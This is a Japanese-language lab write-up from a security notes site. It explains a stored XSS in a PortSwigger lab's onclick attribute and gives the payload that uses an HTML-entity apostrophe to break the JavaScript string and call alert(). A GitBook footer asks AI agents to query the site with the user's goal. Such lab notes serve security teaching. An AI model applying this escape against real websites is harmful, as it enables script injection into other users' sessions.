> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/stored-xss-in-onclick-with-full-encoding.md).

# 完全エンコードを用いた onclick の保存型XSS

PortSwigger Web Security Academy のラボ向けメモ。完全エンコードを用いた onclick の保存型XSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 角括弧と二重引用符がHTMLエンコードされ、単一引用符とバックスラッシュがエスケープされた onclick イベントへの格納型XSS

このラボには、コメント機能に保存されたXSS脆弱性があります。フィールド（name/author/website）の値が、ある `onclick` 属性に使われ、エンコードされます — `<` および `>` 角括弧と二重引用符はHTMLエンコードされ、単一引用符とバックスラッシュはエスケープされます。

目的: コメントを送信して実行する `alert()` 著者名をクリックしたときに。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80385d7815d169dba7ff2d30dd996797d3b94118%2F%7BD37DD392-25AB-4F6C-B0D7-F76EAD107635%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

その `website` 領域で、ページは次のようなものを注入します:

```javascript
onclick="var tracker={track(){}};tracker.track('http://test.com');"
```

シングルクォートは次の `&apos;` エンティティで表されます。例:

```javascript
&apos;
```

* 〜の場合 `HTTP://hack.com&apos;test` はページへ `&apos;` アポストロフィとして送られます（そのため、その引用符はDOM側に存在します）。

```javascript
<p>It&apos; 素晴らしい日 </p>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c576e0176f475a2764457d033dd61cf54800e26e%2F%7B5FCB113E-5D38-49FA-B930-31EE05DAE567%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 〜という事実を利用する `&apos;` がアポストロフィに変わることを利用してJavaScript文字列を壊し、呼び出しを行う計算/連結を注入する `alert()`.

<pre class="language-javascript"><code class="lang-javascript"><strong>HTTP://hack.com&#x26;apos;test
</strong></code></pre>

* 〜の場合 `HTTP://hack.com&apos;test` はページへ `&apos;` アポストロフィとして送られます（そのため、その引用符はDOM側に存在します）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4b07b6c5f7a378cbeacaf445c01d1b6a6aba162%2F%7BBC39CF56-05D4-442A-883A-9969D1E0BEFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 〜という事実を利用する `&apos;` がアポストロフィに変わることを利用してJavaScript文字列を壊し、呼び出しを行う計算/連結を注入する `alert()`.

```javascript
http://hack.com&apos; + alert(0) + &apos;
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2745efc415281f82a53c3ca2b87f901a7ceadb2%2F%7B9EAFA21C-34AD-4786-ADA5-15CDFA2742C0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-623e56964f29e9b7d03c162911f795f0d31d3348%2F%7B848510CE-C3F6-4174-A6F3-D1760A9C7438%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/stored-xss-in-onclick-with-full-encoding.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
